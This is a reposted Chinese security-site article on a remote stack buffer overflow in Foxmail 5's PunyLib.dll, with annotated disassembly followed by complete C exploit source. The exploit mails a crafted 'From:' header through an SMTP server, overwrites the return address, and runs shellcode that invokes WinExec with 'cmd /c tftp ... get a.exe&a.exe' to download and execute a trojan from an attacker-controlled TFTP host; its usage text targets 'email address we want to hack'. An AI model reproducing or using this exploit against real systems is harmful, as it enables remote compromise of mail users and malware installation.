您没有来错地!为了更好的发展,黑基网已于9月19日正式更名为【安基网】,域名更换为www.safebase.cn,请卸载旧的APP并安装新的APP,给您带来不便,敬请理解!谢谢

黑基Web安全攻防班
安基网 首页 IT技术 安全攻防 查看内容

Foxmail5远程缓冲区溢出漏洞

2004-9-29 20:05| 投稿: security

摘要: 测试环境:win2k sp4+foxmail 5.0.300 以前测试foxmail 4.x的时候曾经发现过溢出漏洞,不过后来一直没时间研究就先放下了,后来听说Foxma...
测试环境:win2k sp4+foxmail 5.0.300 以前测试foxmail 4.x的时候曾经发现过溢出漏洞,不过后来一直没时间研究就先放下了,后来听说Foxmail5也有溢出,但是一直没有看见公布。于是没事的时候干脆自己研究一下,测试后发现以前的溢出漏洞已经补上了,不过出了一个新的漏洞。 问题出在PunyLib.dll里面的UrlToLocal函数,估计这是一个用来处理垃圾邮件的链接库,当一封邮件被判定为垃圾邮件时,就会调用UrlToLocal来处理邮件体的“From: ”字段,处理过程中发生堆栈溢出,可以导致执行任意代码。 具体处理过程如下: .text:10002040                 public UrlToLocal .text:10002040 UrlToLocal      proc near .text:10002040 .text:10002040 arg_0           = dword ptr  4 .text:10002040 arg_4           = dword ptr  8 .text:10002040 .text:10002040                 mov     eax, dword_1000804C .text:10002045                 mov     ecx, dword_10008030 .text:1000204B                 mov     edx, [esp+arg_4] .text:1000204F                 push    offset aHttp    ; "http://" .text:10002054                 push    eax .text:10002055                 mov     eax, [esp+8+arg_0] .text:10002059                 push    offset unk_10008034 .text:1000205E                 push    ecx .text:1000205F                 push    edx .text:10002060                 push    eax .text:10002061                 call    sub_10002070  ;调用10002070,其中参数里保存的是邮件体的“From: ”字段后面的内容 .text:10002070 sub_10002070    proc near               ; CODE XREF: UrlToLocal+21p .text:10002070                                         ; EmailAdrToLocal+107p .text:10002070 .text:10002070 var_600         = dword ptr -600h .text:10002070 var_500         = dword ptr -500h .text:10002070 var_400         = dword ptr -400h .text:10002070 var_300         = dword ptr -300h .text:10002070 var_200         = dword ptr -200h .text:10002070 var_100         = dword ptr -100h .text:10002070 arg_0           = dword ptr  4 .text:10002070 arg_4           = dword ptr  8 .text:10002070 arg_8           = dword ptr  0Ch .text:10002070 arg_C           = dword ptr  10h .text:10002070 arg_10          = dword ptr  14h .text:10002070 arg_14          = dword ptr  18h .text:10002070 .text:10002070                 mov     edx, [esp+arg_0] .text:10002074                 sub     esp, 600h ...... .text:100020DF                 push    eax .text:100020E0                 push    ecx .text:100020E1                 push    ebx .text:100020E2                 call    sub_10001A30  ;调用10001A30,就是这个函数里面溢出了 .text:10001A30 sub_10001A30    proc near               ; CODE XREF: sub_10002070+72p .text:10001A30                                         ; sub_10002290+95p .text:10001A30 .text:10001A30 var_104         = dword ptr -104h .text:10001A30 var_100         = dword ptr -100h .text:10001A30 arg_0           = dword ptr  4 .text:10001A30 arg_4           = dword ptr  8 .text:10001A30 arg_8           = dword ptr  0Ch .text:10001A30 arg_C           = dword ptr  10h .text:10001A30 arg_10          = dword ptr  14h .text:10001A30 arg_14          = dword ptr  18h .text:10001A30 .text:10001A30                 sub     esp, 104h  ;分配0x104字节大小的堆栈,但是拷贝的“From: ”字段最大为0x200 .text:10001A36                 push    ebx .text:10001A37                 mov     ebx, [esp+108h+arg_0] .text:10001A3E                 push    ebp .text:10001A3F                 mov     ebp, [esp+10Ch+arg_10] .text:10001A46                 push    esi .text:10001A47                 xor     esi, esi ...... .text:10001AA9                 sub     edi, ecx .text:10001AAB                 mov     eax, ecx .text:10001AAD                 mov     esi, edi .text:10001AAF                 mov     edi, edx .text:10001AB1                 shr     ecx, 2 .text:10001AB4                 rep movsd  ;这里进行内存拷贝的时候溢出了,按照“From: ”字段大小拷贝到0x104的缓冲区里 .text:10001AB6                 mov     ecx, eax .text:10001AB8                 and     ecx, 3 .text:10001ABB                 rep movsb ...... .text:10001AE7                 mov     edi, [esp+114h+arg_C] .text:10001AEE                 shr     ecx, 2 .text:10001AF1                 rep movsd  ;这里有几处地方会对局部变量进行操作,因为这些变量都被覆盖了,所以需要把他们覆盖成可以写的地址,我覆盖的是0x7ffdf220这个地址,应该是PEB的区域,所以必须在后面shellcode里面把这个区域的内容恢复成0 .text:10001AF3                 mov     ecx, eax .text:10001AF5                 and     ecx, 3 .text:10001AF8                 rep movsb ...... .text:10001BD7                 pop     edi .text:10001BD8                 pop     esi .text:10001BD9                 pop     ebp .text:10001BDA                 pop     ebx .text:10001BDB                 add     esp, 104h .text:10001BE1                 retn  ;返回的时候就会回到我们的JMP ESP地址去 这个溢出无法覆盖SEH,而且字符串里面不能包含“@,(,,,\r,\n”这些乱七八糟的字符。shellcode用的是ey4s写的用URLMON下载并运行exe文件的那个。 有些MAIL服务器会把shellcode截断,所以我又改了一下,用比较短的shellcode直接运行tftp来下载程序并运行,测试了一下成功率比原来有所提高,但是容易被防火墙给拦截下来。 /* fmx.c - x86/win32 Foxmail 5.0 PunyLib.dll remote stack buffer overflow exploit * * (C) COPYRIGHT XFOCUS Security Team, 2004 * All Rights Reserved * ----------------------------------------------------------------------- * Author   : xfocus <webmaster@xfocus.org> *          : http://www.xfocus.org * Maintain : XFOCUS Security Team <security@xfocus.org> * Version  : 0.2 * * Test     : Windows 2000 server GB/XP professional *                + Foxmail 5.0.300.0 * Notes    : unpublished vul. * Greets   : all member of XFOCUS Security Team. * Complie  : cl fmx.c * Usage    : fmx <mail_addr> <tftp_server> <smtp_server> *             mail_addr: email address we wantto hack *             tftp_server: run a tftp server and have a a.exe trojan *             smtp_server: SMTP server don’t need login, we send the email thru it * * Date     : 2004-02-27 * Revised  : 2004-03-05 * * Revise History: * 2003-03-05  call WinExec() addr of Foxmail.exe module to run tftp for down&execute */ #include <stdio.h> #include <stdlib.h> #include <windows.h> #pragma comment (lib,"ws2_32") //mail body, it’s based on a real spam email, heh unsigned char packet[] = "From: %s\r\n" //buffer to overrun "Subject: Hi,man\r\n" "MIME-Version: 1.0\r\n" "Content-Type: multipart/mixed; boundary=\"87122827\"\r\n" "\r\n" "\r\n" "--87122827\r\n" "Content-Type: text/plain; charset=us-ascii\r\n" "Content-Transfer-Encoding: 7bit\r\n" "\r\n" "T\r\n" "\r\n" "--87122827\r\n" "Content-Disposition: attachment\r\n" "Content-Type: Text/HTML;\r\n" "  name=\"girl.htm\"\r\n" "Content-Transfer-Encoding: 7bit\r\n" "\r\n" "<html></html>\r\n" "--87122827--\r\n" "\r\n" ".\r\n"; //tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.300) unsigned char winexec[] = "\x83\xec\x50\xeb\x0c\xb9\x41\x10\xd3\x5d\xc1\xe9\x08\xff\x11\xeb\x08\x33\xdb\x53\xe8\xec\xff\xff\xff"; //tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2) unsigned char winexec2[] = "\x83\xec\x50\xeb\x0c\xb9\x41\x10\xa3\x5d\xc1\xe9\x08\xff\x11\xeb\x08\x33\xdb\x53\xe8\xec\xff\xff\xff"; #define SMTPPORT 25 int  Make_Connection(char *address,int port,int timeout); int  SendXMail(char *mailaddr, char *tftp, char *smtpserver, char *shellcode); int main(int argc, char * argv[]) {     WSADATA WSAData;     char *mailaddr = NULL;     char *tftp = NULL;     char *smtpserver = NULL;     if(argc!=4)     {         printf("Usage: %s <mail_addr> <tftp_server> <smtp_server>\ne.g.:%s eeye@hack.com 202.2.3.4 219.3.2.1\n", argv[0], argv[0]);         return 1;     }     mailaddr=argv[1];     tftp=argv[2];     smtpserver=argv[3];     if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)     {         printf("WSAStartup failed.\n");         WSACleanup();         exit(1);     }          //WinExec() address     SendXMail(mailaddr, tftp, smtpserver, winexec);  //WinExec() address in Foxmail.exe module(foxmail 5.0.300)     SendXMail(mailaddr, tftp, smtpserver, winexec2);  //WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2)     WSACleanup();     return 0; } //  建立TCP连接 //  输入: //       char * address  IP地址 //       int  port       端口 //       int  timeout    延时 //  输出: //  返回: //       成功 >0 //       错误 <=0     int Make_Connection(char *address,int port,int timeout) {     struct sockaddr_in target;     SOCKET s;     int i;     DWORD bf;     fd_set wd;     struct timeval tv;     s = socket(AF_INET,SOCK_STREAM,0);     if(s<0)         return -1;     target.sin_family = AF_INET;     target.sin_addr.s_addr = inet_addr(address);     if(target.sin_addr.s_addr==0)     {         closesocket(s);         return -2;     }     target.sin_port = htons(port);     bf = 1;     ioctlsocket(s,FIONBIO,&bf);     tv.tv_sec = timeout;     tv.tv_usec = 0;     FD_ZERO(&wd);     FD_SET(s,&wd);     connect(s,(struct sockaddr *)&target,sizeof(target));     if((i=select(s+1,0,&wd,0,&tv))==(-1))     {         closesocket(s);         return -3;     }     if(i==0)     {         closesocket(s);         return -4;     }     i = sizeof(int);     getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);     if((bf!=0)||(i!=sizeof(int)))     {         closesocket(s);         return -5;     }     ioctlsocket(s,FIONBIO,&bf);     return s; } //send magic mail int  SendXMail(    char *mailaddr, char *tftp, char *smtpserver, char *shellcode) {     SOCKET  csock;     int     ret,i=0;     char buf[510], sbuf[0x10000], tmp[500], tmp1[500];     csock = Make_Connection(smtpserver, SMTPPORT, 10);     if(csock<0)     {         printf("connect err.\n");         exit(1);     }     memset(buf, 0, sizeof(buf));     ret=recv(csock, buf, 4096, 0);     if(ret<=0)     {         printf("recv err.\n");         exit(1);     }     printf(buf);     ret=send(csock, "HELO server\r\n",strlen("HELO server\r\n"), 0);     if(ret<=0)     {         printf("send err.\n");         exit(1);     }     memset(buf, 0, sizeof(buf));     ret=recv(csock, buf, 4096, 0);     if(ret<=0)     {         printf("recv err.\n");         exit(1);     }     printf(buf);     ret=send(csock, "MAIL FROM: info@sina.com\r\n",strlen("MAIL FROM: info@sina.com\r\n"), 0);     if(ret<=0)     {         printf("send err.\n");         exit(1);     }     memset(buf, 0, sizeof(buf));     ret=recv(csock, buf, 4096, 0);     if(ret<=0)     {         printf("recv err.\n");         exit(1);     }     printf(buf);          sprintf(tmp, "RCPT TO: %s\r\n", mailaddr);     ret=send(csock, tmp,strlen(tmp), 0);     if(ret<=0)     {         printf("send err.\n");         exit(1);     }     memset(buf, 0, sizeof(buf));     ret=recv(csock, buf, 4096, 0);     if(ret<=0)     {         printf("recv err.\n");         exit(1);     }     printf(buf);     Sleep(1000);          ret=send(csock, "DATA\r\n",strlen("DATA\r\n"), 0);     if(ret<=0)     {         printf("send err.\n");         exit(1);     }     memset(buf, 0, sizeof(buf));     ret=recv(csock, buf, 4096, 0);     if(ret<=0)     {         printf("recv err.\n");         exit(1);     }     printf(buf);     printf("send exploit mail...\n");     memset(sbuf, 0, sizeof(sbuf));     memset(buf, 0, sizeof(buf));     memset(buf, 0x41, sizeof(buf)-1);     memset(tmp, 0, sizeof(tmp));     //strcpy(tmp, winexec);//WinExec() address in Foxmail.exe module(foxmail 5.0.300)     strcpy(tmp, shellcode);//WinExec() address in Foxmail.exe module     strcat(tmp, "cmd /c tftp -i %s get a.exe&a.exe:");     sprintf(tmp1, tmp, tftp);     memcpy(buf+0x100-strlen(tmp1), tmp1, strlen(tmp1));     *(int *)(buf+0x100)=0x7ffa54cd;  //ret addr jmp esp     *(int *)(buf+0x104)=0x80eb80eb;  //jmp back     *(int *)(buf+0x108)=0x7ffdf220;  //writeable addr     *(int *)(buf+0x110)=0x7ffdf220;  //writeable addr     memcpy(buf, "girl\x0d", 5);     sprintf(sbuf, (char *)packet, buf);     ret=send(csock, sbuf,strlen(sbuf), 0);     if(ret<=0)     {         printf("send err.\n");         exit(1);     }     memset(buf, 0, sizeof(buf));     ret=recv(csock, buf, 4096, 0);     if(ret<=0)     {         printf("recv err.\n");         exit(1);     }     printf(buf);     printf("exploit mail sent.\n");     closesocket(csock);     return 0; } 

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

最新

返回顶部